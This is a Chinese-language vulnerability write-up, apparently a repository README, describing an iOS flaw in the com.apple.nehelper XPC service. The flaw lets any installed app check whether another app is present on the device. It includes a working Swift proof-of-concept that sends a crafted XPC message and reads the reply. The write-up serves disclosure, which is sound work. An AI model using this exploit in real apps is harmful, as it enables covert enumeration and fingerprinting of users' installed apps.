我已更新此代码,以避免直接使用私有 API。更多内容请阅读我的博客文章。但这也意味着该代码现在与 iOS 版本相关,甚至可能与设备型号相关。因此,如果你的设备上无法运行,请重新计算并更新 c.c 文件中的偏移量。原始代码可在 direct 分支中找到。
该漏洞允许任何用户安装的应用,在知道某个应用的 bundle ID 的情况下,判断该应用是否已安装到设备上。
XPC 端点 "com.apple.nehelper" 有一个任何应用都可访问的方法,该方法接受 bundle ID 作为参数,如果设备上安装了匹配该 bundle ID 的应用,则返回一个包含某些缓存 UUID 的数组,否则返回空数组。该逻辑位于 /usr/libexec/nehelper 中的 -[NEHelperCacheManager onQueueHandleMessage:]。
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}